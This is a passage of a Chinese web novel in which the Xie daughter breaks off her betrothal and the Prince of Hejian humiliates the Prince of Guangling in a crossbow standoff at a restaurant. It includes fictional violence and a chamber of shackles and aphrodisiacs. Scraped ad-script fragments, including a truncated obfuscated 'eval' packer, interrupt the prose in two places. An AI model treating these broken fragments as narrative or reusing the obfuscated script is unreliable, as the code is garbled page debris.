或许深夜人静的缘故,谢崇山神色带出几分伤感。谢明裳却不以为然。 “朝廷调爹爹全家回京,说得好像我可以留在关外似的。” “而且关外山地那些年,小时候的印象还清晰,越长大后越模糊,似乎有段日子一直在生病?我娘说险些烧坏了脑子。反倒是京城这五年印象更深些。” 谢崇山露出欲言又止的神色,沉默着继续捋女儿的头发。谢明裳“嘶”了声,从蒲扇大的手掌里扯回发疼的发尾: “爹爹,别乱想,谢家人不怕事。爹爹深夜来找我,可是退婚的事准备好了?三十二抬箱笼原封未动,归还给杜家吧。” 谢崇山的胸膛起伏几下。谢明裳的直觉精准得惊人。 谢崇山深吸口气:“你哥哥也如此催促。但老夫最近想着,留下婚约,于你多条退路。和杜家断绝瓜葛……你又是谢家女儿了。你在宫里落了宫籍的。万一这两天圣旨下来,留在谢家,怕你两边不靠。” 谢明裳在灯下注视着父亲斑白的发鬓。 父亲健壮骁勇,向来比同龄人显年轻,五年前入京时还满头黑发。 谢家围门仅仅半个月,夜不能寐,发髻零零星星的白斑明显多了许多。 父亲怕了。 谢明裳靠在床头,眼神明澈而平静地望着父亲:“女儿不后悔退杜家的婚。” “比起两边不靠,女儿更怕的是:生不能留在谢家,死后却要葬去杜家坟里。” 谢崇山沉默着坐在床边。侧影如山岩般不动。 良久,他长吐出胸中一口郁气,沉声道: “说得好。是我谢家养出的女儿。退婚事交给家里,你休息罢。好好睡一觉,事便过了。” 再没有劝一个字,起身离去。 谢明裳目送父亲的背影离开。 谢崇山人已走到门边,脚跨过门槛时却突然想起一桩事来,登时停步,不放心地回头叮嘱。 “今天河间王言语间提起你。这厮有狂躁之症,发作起来癫狂伤人。我听老常说,他入京不到半个月就发狂伤了广陵王。你当心,下次若再撞到当面,离他远些。” 说完大步出门去。 谢明裳听到最后倒笑了。 “癫狂伤人?伤了广陵王?” 这可是今天第一个令人愉悦的消息。 她回想了半日,依稀记得河间王浓眉星目,英武里带贵气的姿态。癫狂起来什么模样? “人不可貌相。”她自语地感慨说。 父亲谢崇山临走前的话,暗示退婚事定在今夜。谢明裳也睡不着了,把兰夏和鹿鸣叫进内室。 兰夏和鹿鸣慌得很。 “别满屋转悠了。兰夏,去两边侧门看看,杜家的三十二抬定亲箱笼抬出去了没有。从哪边侧门出。” 兰夏飞奔出去。 谢明裳把五娘写给广陵王妃的书信从枕头下摸出,放在手里捏了捏,若有所思问起: “说起来,五娘多久没出门了?” 鹿鸣一怔。“没细计较……但五娘不常出门的。” “人不常出门,整日关家里不是哭便是挨骂,怎能不钻牛角尖。” 谢明裳把五娘的信塞回枕头下,打开私房匣子取出两枚二十两金锭,沉甸甸地放入荷包里,附耳叮嘱鹿鸣几句。 鹿鸣有些不安:“当真要包酒楼一整天的阁子?娘子上次去时,不少眼睛盯着。” “事做干净些,不露破绽即可。” 谢明裳在灯下思量。 “趁今夜退亲,我们也做点事。” 她仔细想了一回: “城北御街边的梨花酒楼,包个临街的二楼阁子。捡梨花开得最盛的雅阁子包下。” 带五娘去酒楼阁子,摆一桌席面好酒,赏整日的京城繁华盛景,日出日落,再顺带观赏路过御街的形形色色的人物。 家里待太久,容易忘了外头自由自在的好处。 “我想把上次送走嫂嫂的地方指给五娘,让她看一看。” 鹿鸣这几天见多了她病恹恹的姿态,反倒心下大安,脸上也显露出笑意,“娘子有主意就好。” 兰夏很快急奔回来,气喘吁吁道看清楚了,禁军包围漏了个口子,箱笼从西侧门出。 大郎君的岳家派人在门外接箱笼,耿老虎领八个护院同去。 “鹿鸣换身小厮衣裳,跟着耿叔出门。我去打声招呼,让耿叔亲自陪你去。” * 这一夜始终过得不大安稳。 谢明裳半梦半醒间,感觉屋里有人走动,眼皮却睁不开,含糊道: “荔枝……春荔枝,三年开花,五年结果……” 谢夫人忍俊不禁,轻手轻脚把纱帐拉拢,遮住灯光:“还说梦话呢。再睡会儿。” 脚步无声无息地走去外间。 外间很快响起了低低的对话声。 “她还在睡。杜家情况如何,你先和我说。” 随即响起谢琅的声音。 谢明裳迷迷糊糊听了几句,心里忽然咯噔一下,意识到,阿兄昨夜还是冒险亲自出门了。 她瞬间清醒过来,靠着床头撑坐起身。 名义上是谢琅的岳父刘家代谢家退婚。昨夜三十二抬箱笼先悄悄抬去刘家,再从刘家送去杜家。 “岳丈担心杜家闭门不见,叮嘱孩儿说,事态若不对,箱笼扔在门外,由刘家人看管,隔天叫岳母过去寻杜家主母。” 不想杜家的大门却于深夜敞开着。 刘家人去时,杜家的家主带着嫡长子,两人正衣冠整齐地站在敞开的大门前,似在等候贵客。 机不可失,刘家大管事即刻上前交涉,替谢家退婚,当面交割礼单。 谢琅站在门外,注视着杜家二郎杜幼清被父亲招来,面色苍白地站在庭院里。 刘家健仆当场打开箱笼,清点礼单无误,把定亲当日送去谢家的三十二抬箱笼原样抬回杜家。 “此事说来也巧。就在儿子来回奔走的中途,不知哪家贵人给杜家递去一份名帖,说要拜访。杜家即刻敞开正门迎接。杜家父子大晚上地站在门外喝了半夜的风,贵客却未去。倒叫儿子赶上,当面把婚事退了。” “昨晚明珠儿的退婚事在刘家见证下办得顺利。以后谢家和杜家再无关系。” 谢夫人从头到尾听完,心口憋着的一股气才松懈,喃喃念句佛,祝祷道: “希望霉运从此跟随杜家而去,谢家否极泰来。” 谢明裳没忍住笑了下。 外间的谢琅道: “母亲回吧。我陪陪小妹。” 母亲还在叮嘱他:“你妹子梦里惦记着吃荔枝。叫老常帮忙弄一筐来?” 谢明裳抬高嗓音喊不必: “早不记得了。梦里的话,娘也较真。” 等谢夫人走远后,谢琅进来内室坐下,和谢明裳说:“昨夜杜二郎失魂落魄,给你写了封信,被母亲收去了。” 谢明裳冷淡地哦了声:“收去便收去吧。” “他昨夜看见了我。神色激动地奔近前,说这些天他依旧为你奔走。又说你赠他的春荔枝核,他栽种在书房前,日日浇水,精心养护,很快就会发芽,质问你为何转脸绝情。明珠儿……你当真送了他春荔枝?” “送了。” 谢明裳嫌弃说:“荔枝核没能打死他,便送他了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。跟他杜家有关的东西,我一件都不留。” 谢琅:“……唔。” 谢琅在灯下仔细看她神色,表情放松几分: “放下便好。母亲说得对,否极泰来,以后会有更好的夫婿。” 鹿鸣送进药酒,浓郁的酒香弥漫室内。 借着服侍喝药的机会,鹿鸣轻轻地冲谢明裳一点头。 昨夜出门顺利,四十两金包下梨花酒楼一整日的二楼临窗雅阁子。 谢明裳低头喝了口药酒。 “否极泰来。但愿如此。” —— 城北榆林街,广陵王府。 郡王府邸占据了整条街,青瓦白墙整齐延伸。 清晨日光的映照下,庄严瑰丽的青色琉璃瓦耀耀闪光。 王府门外,依旧两排甲兵把守,肃穆威严。 从外表丝毫看不出,这里几天前闹哄哄大乱一场,原先的主人被狼狈赶去别处,偌大个王府被初入京的新主人鸠占鹊巢。 新主人习惯早起身。 天边泛起鱼肚白时,萧挽风和亲兵演练过一遍刀法对战,拿细布简单擦拭身体,换了身衣裳,此刻站在河间王府的第三进内院边角头。 不显山不露水的僻静地界,内里别有洞天,暗藏一处布置精致的跨院。 “内院停好一顶粉色软轿。新糊的明窗贴满囍字,屋里备齐龙凤蜡烛和红帐子,瞧着像迎新人的婚房。” 这回跟随主上入京的亲卫队副:顾沛,风风火火地转了一圈,把新发现的这处藏娇小院当个乐子对萧挽风说了。 “广陵王打算纳妾?准备得十分齐全,殿下如果迟几天搬进他的王府,新人就抬进来了。哟,还新开了个汉白玉的泡澡池子,池砖花纹拼满了鸳鸯 ……打算鸳鸯戏水呢。” 顾沛乐得止不住:“准备得不错,都归殿下了。殿下得空用用澡池子,泡澡舒坦。” 萧挽风站在池子边,垂眸往下看。 汉白玉池子未放水,每块白砖精细镂刻了花纹,细看果然处处都是并蒂莲花,合欢花草,鸳鸯戏水图案。 广陵王在歪路子上的心思倒细密。鸳鸯戏水汉白玉池,没有整个月的工料做不好。 想必谢家出事的消息才传出,他便开始准备这处藏娇的金屋。 萧挽风默不作声地盯着池子,挨个看过汉白玉砖上雕刻精细的合欢、鸳鸯、并蒂莲,耳边听着顾沛 “藏娇小院”的说笑,脸上渐渐没了表情。 又一道脚步声走近汉白玉池子。进来的是亲卫队正:顾淮。 顾淮性子比兄弟稳重得多,把张嘴乱说话的顾沛直接拎着衣领提走。 萧挽风沿着空池子缓缓绕了半圈,转身往张贴大红囍字的屋里去。 确实是个精心布置的清静藏娇小院。刻意挑选的僻静位置,院落幽深,大声呼喊也传不出去,就连枝头的蝉鸣声都比别处少。 屋里分内外间。外间像模像样地布置了书桌,文房笔墨俱全。书桌下方藏两处暗格。 他抬手四处试探摸索几下,轻轻一转桌面上的玉屏摆件,暗格便打开了。 暗格里整整齐齐放了满层的助兴药丸,各种淫器和脂膏瓶罐。 萧挽风坐在长书案后的黑檀雕花木椅里,盯着那两处暗格片刻,啪地重重关上。身子往后靠,俊美的面孔轮廓连带着大半个宽阔肩膀笼罩进暗处。 透过窗纸映进屋的晨光只照到桌面上,摊开的左手掌缓缓握紧。 分明什么也没做,屋里越来越压抑的气场却令人喉咙发紧。 萧挽风独自坐了片刻,起身走去内室。 内室隔开东西两间。东间连接着那处新修的汉白玉池子。西间是广陵王精心布置的卧寝。 锦绣堆砌的卧寝西屋里,摆了一张极大的黄梨木雕花架子床,纵深宽敞,足以平躺三个人绰绰有余。 架子床落下的双层帷幔后藏了东西,隐约露出一截圈形,映在帐子上。 萧挽风站在床边打量片刻,抬手摸索几下,扯住圆圈。冰凉坚硬的触感像精铁。 他皱了下眉,扯着细精铁圈往下发力,居然扯下一截细链子。 小口径铁圈加细链,一看便是扣住手腕的镣铐。 广陵王府的床笫间暗藏风月,镣铐做工当然格外精致,精铁圈里嵌细软羊皮套,赤金双股绞缠而成的细链做成灵蛇造型。 除了用来扣住手腕脚腕的细链镣铐,床中央还有个精铁圈粗得多,不像是扣手脚用。 萧挽风扯着铁圈,估摸了一下尺寸。 脑海里闪过谢宅闲逛当日,内院门边狭路相逢、惊鸿一瞥的印象。 手执团扇的小娘子立在广玉兰花树下。身子还没好全,人恹恹的,唇色泛起病态的白,她却偏要穿红,像一朵风雨中逆时盛放的娇艳花儿。 她惯常我行我素,向来不理睬自己穿什么好看,什么搭配不好看,只管自己喜欢什么衣裳,想穿什么颜色便穿什么颜色,想穿什么式样便穿什么式样。怎么穿都好看。 少女腰肢盈盈一握。架子床中央最大的精铁圈,圈的是腰。 赤金细链子哗啦啦地响。 萧挽风立在床边看了良久,脸上看不出什么表情,转身走出屋去。 院门外等候的严陆卿迎上来。 “下一封帖子,递送广陵王的新住处。与他说……”萧挽风慢慢地道: “听闻广陵王泪洒宫门诉苦?萧某愿出力,为他再挪一挪住处。” “约明晚,城北御街边的梨花酒楼,三楼包场,随他任选阁子。” “告诉广陵王,他若不至,本王亲自登门请他。” 18.第 18 章 宫城肃穆。 大批禁卫披甲值守在殿外,耳边却寂静无声。 奉德帝取过一份奏报。领兵围谢宅的禁军中郎将,常青松,每日例行送一封奏报到天子案头。 常青松是谢崇山的老部下,奉德帝知道。 命常青松看守谢宅,仿佛鱼钩下的香饵,他想钓一钓,看看能钓上多少大鱼来。 常青松递来的奏报中规中矩: “三月二十九日。河间王登门谢宅,停留一个半时辰,言曰‘奉旨看宅子’。臣不敢拦阻。谢枢密相迎……” 奉德帝神色显出几分阴郁。 好个“奉旨看宅子”。 帝王心术,有意拉拢示好,和河间王漏了两句口风。正式旨意还未下,居然被河间王直戳到谢崇山面前去了。 河间王并非毫无城府的耿直性子,他想做什么?谢崇山又如何想? 冯喜是御前伺候笔墨的大宦,听得奉德帝冷笑几声,只低头装作听不见。 奉德帝忍怒继续往下看。 翻到后半截时,目光忽地一凝,把密报拿近细阅。 看着看着,失笑起来:“一个刀砍肩胛,一个枪|刺心口。原来他们曾有这一段旧怨?朕竟不知。有这一段故事,登门示威倒说得通了。” 当场招来皇城司指挥使,吩咐下去,“哪年哪月的事,可有人证。遣人快马去朔州关外大营细查。” 案头的另一封密报并不来自常青松,而是皇城司探子的密奏。 送来的是谢家字篓里取来的一团纸。原本被谢家之主大怒丢弃,又被有心人仔细拼接完整,重新显露出墨迹淋漓的勾勒图案,狂草手书如银龙,在纸上肆意涂抹。 “河间王府图例” “此处应有马场” 奉德帝忍不住地笑,指给冯喜看。 “即便两边有旧怨,河间王也不该纵着性子闹事。登门闹一场,把表面都撕破了,以后见面岂不尴尬?” 冯喜躬身捧过图纸,笑说:“河间王毕竟年轻。” 奉德帝翻了翻密报。 “河间王性子确实乖戾了些。才半个月,得罪多少人了?入京头一天,把林相家的三郎捆在马后游街。没几日又伤了广陵王,强占王府。京城里无人敢招惹他,他自己倒找上谢家惹事。” 冯喜小心道:“有些事说起来巧……河间王入京当日,和林相家的三衙内起的一场龃龉,老奴听说,和谢家千金有点关系。” “怎么说?” 冯喜便绘声绘色描述了一番听闻。 林家三郎和谢家女郎在酒楼里不知为何起了争执,梨花洒落在路过的河间王身上,河间王勒马看热闹。 奉德帝沉吟着,翻了翻御案上的弹劾奏本。 有言官上书弹劾谢氏,说围门期间,谢氏父子不知悔改思过,竟私出府邸,暗寻杜家退儿女婚事。 “谢崇山对他家女儿似乎爱重得很?” “只有一女,简直视若掌珠,珍爱得不得了。听说养成了目下无尘的骄纵脾气,和林相家的三衙内在酒楼门口争吵,两边推推搡搡的。河间王路过看到,倒喜爱谢家娘子的性情,当街纡尊降贵,停马搭话……” 冯喜在御前侍奉多年,见奉德帝露出感兴趣的表情,便详尽地往下说: “可惜谢家小娘子当真刁蛮,丝毫不理会,甩下河间王便走了。河间王当众落了面子,极为不悦。迁怒于林相家的三郎……这才有了后头的事。” 奉德帝果然露出饶有兴味的神色。 “河间王当街停马搭话?却还是被谢家小娘子甩下走了?” “河间王当日微服入京,穿戴普通,兴许谢家小娘子未认出身份?总之,确实如此,皇城司当值的将士不少亲眼见到,一问便知。” “有趣。” 冯喜察言观色,既然提起了谢家,顺势从御案边堆积的奏本中取过一封留中多日的奏本,放在醒目的位置。 “谢枢密使五日前有本上奏……” 奉德帝略翻了翻,随手合拢,又扔回大摞奏章里:“搁着。” —— 这两日雨水暂停,接连出太阳。京城的暮春小跑着入了夏。 谢明裳的病症明显好转。 到了四月初一清晨,早起洗漱完毕,她坐在庭院里,懒洋洋借着晨光晒太阳。 天气眼看要入夏,梨花酒楼的满枝梨花极盛将衰,要赏花得抓紧最后几日了。 她想指给五娘看,嫂嫂上回的车马,便是从梨花酒楼下驶过。 沿着敞阔御街一路往南,穿过南城门,驶出界碑,百二十里路就出了这繁华京畿。 只要屁股后头没有官府追捕,外头有可靠的人接应,“送出京城”四个字,并没有想象的那般可怕。 并不值得一个花样年华的妙龄女郎,为了躲避想象中的可怕,匆忙把自己托身去令一处虎狼窝。 “我去看看娘。兰夏替我走一趟东苑,悄悄地跟五娘说:叫她今夜亥时单独过来寻我,西角门见。我有事找她。” 谢明裳领着兰夏起身,“收拾收拾,现在就走。” * 谢家如今冷清,庭院少人打理,草木虫孑疯长,前两天护院才驱赶了一条横爬过庭院的长蛇。 兰夏坚持把谢明裳送去主院。 谢明裳站在院门边,目送兰夏匆匆去东苑方向的背影消失不见,这才进了主院,远远冲堂屋里喊: “娘,我存在你这处的刀呢。” 西厢的窗牗从里推开。 谢夫人身边两个亲信陪房妈妈都在,李妈妈掀开挡风帘子,迎谢明裳进屋。 谢夫人这些日子心力耗损,正在闭目歇息,躺在床边并不睁眼,只问:“怎么突然想起刀了?你都整年没摸了,谁知道搁在哪处压箱底。” 谢明裳坐在床边,接过冯妈妈手里刚拧好的帕子,替老娘把额头渗出的细汗擦去。 “就是因为手生了。想拿回去练一练,最近躺太多,偶尔活动几下对身子也好。” 谢夫人睁开眼,带点怀疑打量女儿。 “你病才好,别又折腾自己。” 李妈妈在旁边笑着帮谢夫人说话:“六娘大病初愈,多静养为好。” 冯妈妈也打趣:“六娘的刀,不正好好地收在五斗柜旁的红漆箱子里头?新年正月忙得很,六娘还惦记着拿出来细细擦过一遍,这才过去三个月。放心,没生锈。” 谢夫人脸上露出点笑意,这点笑意却又转瞬即逝。 新年时确实忙得很。家里小娘子准备出嫁,日夜赶工刺绣活计,要绣出新娘子出嫁时带去夫家,用来铺婚床的全套被褥帐子。 谢明裳喜动不喜静,比起骑马坐车郊游访友,向来最不耐烦做绣活。 但新年前后那段日子,她时常见女儿坐在绣房里,纤长脖颈低垂,玉色的指尖按住绣案,一针一线认认真真绣交颈鸳鸯的模样。 谢夫人的眼神里带出几分痛心和愤怒。谢明裳坐在床边和母亲对视,神色却极平静,无事人般绞干帕子,继续擦拭母亲额头新渗出的细汗。 “天气燥热,母亲心火太旺。要不要吃点凉果子,静静心。” 谢夫人咬牙说:“我的心火太旺,都是气的!杜二那混账还给你写了封信,被我扔进火盆烧了!你可别怨我。” 谢明裳已经掂起一颗杏子吃上了,边吃边悠然说:“烧得好。哟,这杏子甜,娘吃个尝尝?” 谢夫人一口憋在心底的火气登时撑不住,散了。 “刀拿去罢。”她哼道: “咱们武将家的小娘子,出得厅堂,上得马场,练得刀枪。这些都是实打实的功夫,练好了一辈子受用。不必理睬京城那些文官说的鸟话。”吩咐冯妈妈拿钥匙开箱笼。 冯妈妈很快回来,红绸包裹刀身,露出一截刀柄,捧到谢明裳面前。 谢明裳掀开红绸,露出一把半月形状的弯刀。 谢夫人不放心地叮嘱她:“太久没练手生,弯刀一招没使好,容易割破自己的手。你三天两头生病的,都多久没练了?拿回去小心些!” 谢明裳握住刀柄,抽出一截。秋水般的泓光映亮眉眼。 她满意地打量片刻,刀身归鞘。 刀拿到了,人还不急着走。削葱指尖一下一下轻敲着刀柄。 “娘,兰草和鹿鸣的身契,都收在你这处?” “在。怎么了?” 谢明裳不应答,只道:“她们的身契,娘取给我。” 谢夫人意识到不对,神色严肃起来。 两位陪房妈妈互看一眼,起身暂避,屋里只剩下母女两个说体己话。 谢夫人掏心掏肺地劝女儿。 “这两个丫头都是入京路上买下的,签的十年身契,跟随你五年多了,你待她们一贯亲厚,她们也都知恩图报。我私下问过她们两个,都愿意跟随你陪嫁去夫家。” “眼下谢家正在困难关头,忠仆难得,正是鼓励忠勇的时候。你该不会想放她们出去,你自己身边落得连个帮手都无?” 相比于母亲的激动,谢明裳却表现得波澜不兴。 “我还不知落在哪头,说什么陪嫁,平白害了她们两个。” 早在今日过来母亲院子之前,从取回弯刀,到讨身契,她早已想好了。 “谢家人同舟共济,爹娘兄嫂都在船上,为什么只把我往船下推?爹爹最近私下又在忙着安排婚事,但我退了杜家的婚,便不打算再嫁了。” 对着震惊哑然的谢夫人,谢明裳催促道: “娘,把兰夏和鹿鸣的身契取出烧了罢。谢家犯了事,谢家人担着。放她们出谢家。” ———— 入夜了。 鹿鸣抱着擦拭一新的弯刀,踩上木凳,小心地挂去内室墙上。纯银刀鞘擦得锃亮,正对着低垂的帐子。 “总算不是空空的一面白墙了。”鹿鸣感慨说, “差不多有半年没看到这把弯刀,怪怀念的。” 兰夏歪着头打量:“本来挂得好好的。自打和杜家定了亲,文官家里破事多,非说小娘子的闺房里放置刀兵不祥,好好的刀被收走了压箱底。” 谢明裳懒洋洋地抬手掩住呵欠。 “拿回来就好。握刀生疏了,明天重新练起来。” 鹿鸣坐在床头,小声问:“听说娘子今早在主院和夫人吵了几句嘴?究竟为什么事,可是为取回这把刀?” 谢明裳不以为然:“刀原本就是我的,有什么可吵的。” “那为了什么?”兰夏也好奇起来。 “这些你们别管。”谢明裳掩着呵欠,略得意地说:“总之,我吵赢了。” “又不肯说……”兰夏不满地嘟囔着。 鹿鸣探头往窗外看头顶月亮位置,估摸了下时辰。 “快到亥时正了。娘子,这么晚出门?” 兰夏那边已经熟练地收拾起一个包裹,披帛,风帽,药酒,备用衣裳,麻利地扎好,往肩头一背。 “出个门还要犹犹豫豫的?娘子说走我们就走。” 谢明裳探头打量清亮月色,又坐等了约莫两刻钟,眼见一轮勾月避入云层深处,夜色变得朦朦胧胧的,当机立断起身:“走。” 她和耿老虎提前打过招呼。 走得还是西角门。 耿老虎领着四个护院站在门边。门外的禁军显然提前通过气了,空荡荡的,小巷里停一辆马车。 耿老虎叹了口气,比划出个“二”字:“两趟了。娘子不能总瞒着谢帅。” 谢明裳笑盈盈上马车:“上次定酒楼阁子,今晚过去喝酒。不会有第三回,有劳了。” 耿老虎跳上马车,正欲赶车启程时,谢明裳忽地喊停: “再等等。你看远远有个影子,是不是五娘过来了?” 在夜幕遮掩下,气喘吁吁地提着裙子急奔西门而来的,可不正是五娘谢玉翘? 谢玉翘今夜偷偷过来,为了遮掩行迹,穿得一身黑黢黢。深黛色窄袖短襦衫子,烟灰长裙,焦虑得行坐不安。 “我来了……” 她喘着气扶门道:“但、但话先说清楚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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耿老虎大步走去窗边张望,回禀说:“有人在三楼阁子里打斗。” 谢玉翘惊道:“什么?!”就要起身。 谢明裳把她按坐回去:“没事。店家继续上菜。” 酒楼里打斗常见事,店小二都懒得多看一眼,继续高声报菜名上菜。 八道热菜,四道冷盘,十二道大菜摆了满桌。头顶的木板依旧时不时地微微震动,仿佛轻骑奔腾路过的动静。扑簌飘落的灰尘有少许飘进酒杯碗碟里。 店小二习以为常,熟练而麻利地支起一大片细纱罩布在席面上方,殷勤劝酒,退了出去。 谢玉翘瞠目盯着挡灰尘的细纱罩布。片刻,目光又盯向震动不休的头顶木板。 三楼闹事的动静越来越大,呼喝骂声模模糊糊地夹在丝竹弦乐音里回荡。 谢明裳给自己和玉翘各倒了杯酒,轻轻一碰酒杯: “五姐,难得出来,莫管不相干的人,赏赏京城夜景罢。” 窗外的梨花确实开得繁盛。 月色下的梨花皎洁连片,如烟如雾,被夜风吹动时,雪白花瓣仿佛一场花雨掉落地面。 谢玉翘难得露出点笑意,酒杯轻碰,浅浅饮一口美酒。 终日忧郁蹙起的眉眼舒展开三分,安静地倚窗赏了片刻花,谢玉翘开口说: “明珠儿,我知道你对我的心意。但——” 楼上传来模糊的喊叫。有条黑魆魆的影子从高处掉落,自敞开的窗外闪过便消失,笔直摔落楼下御街。 砰地落地闷响,激起酒楼内外一片惊叫。 谢玉翘正好站在窗边,瞧得清清楚楚,惊得肩头一抖,强忍着尖叫,惊恐指向窗外: “楼上,掉人下来了……” 酒客在酒楼喝醉出事屡见不鲜,谢明裳没放在心上。 “梨花酒楼最高只有三楼,摔不死人,最多摔胳膊断腿的。出不了人命。” 话音未落,砰砰,又摔下去两个。这回从另一侧摔进酒楼的内庭院里。 耿老虎警惕起来。 “接连摔人下来,不像是酒后失足,倒像被扔下去的。” 耿老虎即刻领着几人下楼查看。片刻后查探得大概,皱着眉回禀道: “两边都带了大批护卫,瞧着像富贵人家的郎君争狠斗气。娘子,咱们避一避风头,莫卷进风波——” 话音未落,三楼忽地响起一阵齐声惊呼! 楼上某处灯火通明的大阁子,七八扇窗棂全敞开,人影晃动,眼睁睁又从高处扔下来一个。 砰一声闷响,先摔在酒楼长棚子上,又滚落庭院里。 周围灯火映照得亮如白昼,谢明裳看得清楚,这回被扔下来的倒霉鬼穿戴华贵气派,瞧着像大族出身的儿郎,惊起的动静也比刚才激烈十倍。 楼下的护卫争先恐后地给他做肉垫,没做成肉垫的跪倒一大片。 “什么来头?”眼前的大场面反倒激起谢明裳的好奇心,她目不转睛地张望。 瞧架势像个身份不低的。什么事大半夜的争风打斗,从酒楼阁子和人打去地上? 窗边的耿老虎已经看清楚了那倒霉鬼面容,骤吃一惊: “——广陵王!” 坐在地上那人,玉冠簪子都摔裂,头发狼狈地披散下来,几层人肉垫子护着,依旧还是磕破了嘴唇额头,血迹蜿蜒满脸。 被人从三楼扔下去、当众丢尽颜面的,居然是个堂堂郡王。 广陵王萧措坐在地上,一时起不了身,指着他摔下来的三楼阁子恨声大骂: “萧挽风!自家兄弟,绝情至此!我不曾有得罪你之处,你却步步紧逼,欺人太甚!你入京才几日,凭什么把我赶去城外!今夜众多人证在场,明日我告去御前,看你有何话说!” 谢明裳:“……嗯?” 河间王,萧挽风? 三楼阁子敞开的窗棂边,探出半截宽阔的肩膀。身量颀长挺拔,眉眼轮廓瞧着……有点眼熟。 前两天自家里才撞见过。 萧挽风今夜同样锦袍广袖,犀皮玉带,金丝小冠,通身富贵气派打扮,侧身倚阁子窗边,垂眸下望。 “谁和你自家兄弟?” 他手里的金杯居然还没放下,冷眼旁观楼下的庭院乱象,欣赏萧措头破血流的模样,满意地抿了口酒。 “你这张脸顶着萧姓在京城晃来荡去,便是得罪于我。” 19.第 19 章 灯火通亮的酒楼里,廊子四处、楼上楼下站满了人,各处阁子都有人推开窗户往下探头看热闹。 谢明裳起了兴致,唤来递送吃食的小二,老实不客气地又叫来几道时令好菜,八宝鸭羹,梨花酥,再把酒楼出名的梨花酒温好送来。 品一口温酒,兴致勃勃看一眼,不忘叫受惊吓的五姐放宽心。 “法不责众。把人扔下楼的正主儿还好好地坐在三楼阁子喝酒,我们只是路过看个热闹,怎么会追究。放宽心。” 谢玉翘紧张得面色发白,抿了口酒,鼓足勇气,颤巍巍探头去望。 这一看便半天没把头缩回来。 “……那个当真是广陵王?”她瞳孔震颤,瞧着难以置信的模样。 “天家贵胄,箕坐于地,头发散了也不扎起,只顾着骂人,满脸狰狞之色……” “我的五姐姐,你把这些龙子凤孙当做白玉京高处的神仙呢?被扔下楼,满脸的血,换谁都狰狞。等他骂完了,更狰狞的还在后头呢。” 围拢在萧措周围的众护卫把主上架起,挪去旁边廊子坐下。萧措捂着满头满脸的血,走出几步,忽地一脚把身侧搀扶的护卫踹开,“废物!” 那倒霉护卫被踹滚出去半圈,吐出一口血,跪倒在原处不敢动弹。 萧措冷冷喝了几句什么,身边护卫疾奔出去十几个,片刻后扛着大堆柴火,堆在酒楼前。 耿老虎脸色微变:“他们要放火烧楼?!” 酒楼各处小跑下去四五人,瞧着都是锦袍华服的儿郎,显然平日认识说得上话的,扯着萧措的衣袖意图说和,没两句就被指着鼻子大骂滚蛋。 片刻后,楼下当真燃起滚滚浓烟。 眼看放火烧楼的事态成定局,几个华服郎君慌忙领人离去。 这一下不得了,楼里探头看热闹的酒客争先恐后往门外奔。 浓烟滚滚,楼上站着河间王,楼下那些护卫并不敢当真纵火烧楼,只寻找风头,借着风势引浓烟往酒楼阁子这边倒灌。 谢明裳隔两三个阁子,从二楼往上望。 酒楼通明灯火清晰地映照出河间王淡漠的神色。对着眼前纵火,他倒像是寻常看热闹,丝毫不在意。 萧挽风身侧一名箭袖窄袍打扮的亲卫长领命出去。片刻后,许多脚步声踩着木梯上了三楼。 哗啦一声,有人扛起大木桶往下浇水。大桶里的水提前装满,显然早有准备。 位置既高,准头又好,三两下便把柴火堆燃烧的明火浇灭。滚滚浓烟在庭院里蔓延,楼下萧措连同他身边的护卫们一个个衣裳湿透,落汤鸡似得站在庭院里,被湿烟呛得死去活来。 谢明裳唇角没忍住细微上翘,今晚的乐子有点大。 “这位河间王有点意思。” 等楼下湿烟终于被控制住时,萧措把湿淋淋的头发绾起发髻,勉强维持住体面,仰头注视三楼的神色近乎阴沉,吩咐了一句。 二十余名亲卫呼啦啦散开半圈,围城半月攻击阵形。 前后两排,后排护卫主人,前排单膝跪下,引弓搭箭,对准三楼斜倚着阁子窗前的颀长身影。 酒楼四处响起零星惊呼。 原来楼子里居然还有几个胆大留下看热闹的酒客,这回再也坐不住,狂奔下楼离去。 被寒光箭尖直指胸膛的正主儿倒似没看见似的,不急不慢喝完酒,把金杯从三楼窗口扔下楼。 扔下楼的金杯仿佛一道信号,三楼不同方向的七八间阁子窗户同时打开,弓弩探出往下,从四面八方团团指住庭院当中的广陵王。 耿老虎迅速关窗,插紧插销。 “今晚事态要闹大。弓弩互射危险。娘子,看不得了,我们赶紧走。” 谢明裳不肯走,把木窗又打开一条缝。 “我花钱包了整天阁子,打算坐到明天傍晚。现在回去算什么。” 耿老虎震惊道,“出来这么久?” 两边弓弩互相威慑,在下方的显然更危险,趁对峙的功夫,能躲开的酒客早溜了个干净。喧嚣的酒楼只剩灯笼还亮着。 萧措藏身在暗处,人不现身,站出来个亲卫高喊: “河间王!我家主人有言,自家兄弟,何必闹得难看。大家各退一步,化干戈为玉帛——” 从谢明裳仰头注视的角度,可以清晰看到三楼阁子窗边的人影动了一下,做了个军中常见的手势。 萧挽风道:“清场。” 下一刻,弓弦声锐利鸣响,撕裂空气。 楼下几名侍卫把萧措扑倒地上保护,一名中箭的侍卫在地上翻滚。浓烟的空气里传来血腥气息。 耿老虎霍然起身,“出人命了。此地危险,两位娘子安危要紧,我们必须离去了。” 门被重重敲了敲。 有个似曾相识的斯文嗓音在门外道:“我家主上吩咐清场。刀箭无眼,还请贵客离去。今日阁子费用我家主上代付。” 不等回答,门被推开了。几名亲兵往门口不声不响一站,摆出送客的姿态。 谢明裳拢起帷帽。 门外说话的年轻文士,正是跟随河间王入京的亲信幕僚。 楼下传来一声强做镇定的高喊,声线却微微发颤: “萧挽风,众目睽睽之下,是你先动手!” 高处传来萧挽风的嘲讽回应。 “谁先动手,谁后动手。你当是村头顽童扭打,打完回家告状?” 耳边只听到一阵连续不断的弓弩声响。箭矢如雨互射。 踩着木梯转下楼时,谢明裳扶住帷帽,仰头瞥了眼楼上。 三楼有一处阁子敞开着。纱帘被风卷动,一个颀长身形影影绰绰地站在窗边。 谢明裳收回视线,在耿老虎几人的护卫下,从酒楼后门快步出去。 河间王的几名亲兵盯着她们一行出门入小巷,抓着弓弩转头往庭院方向杀气腾腾而去。木门随即关闭。 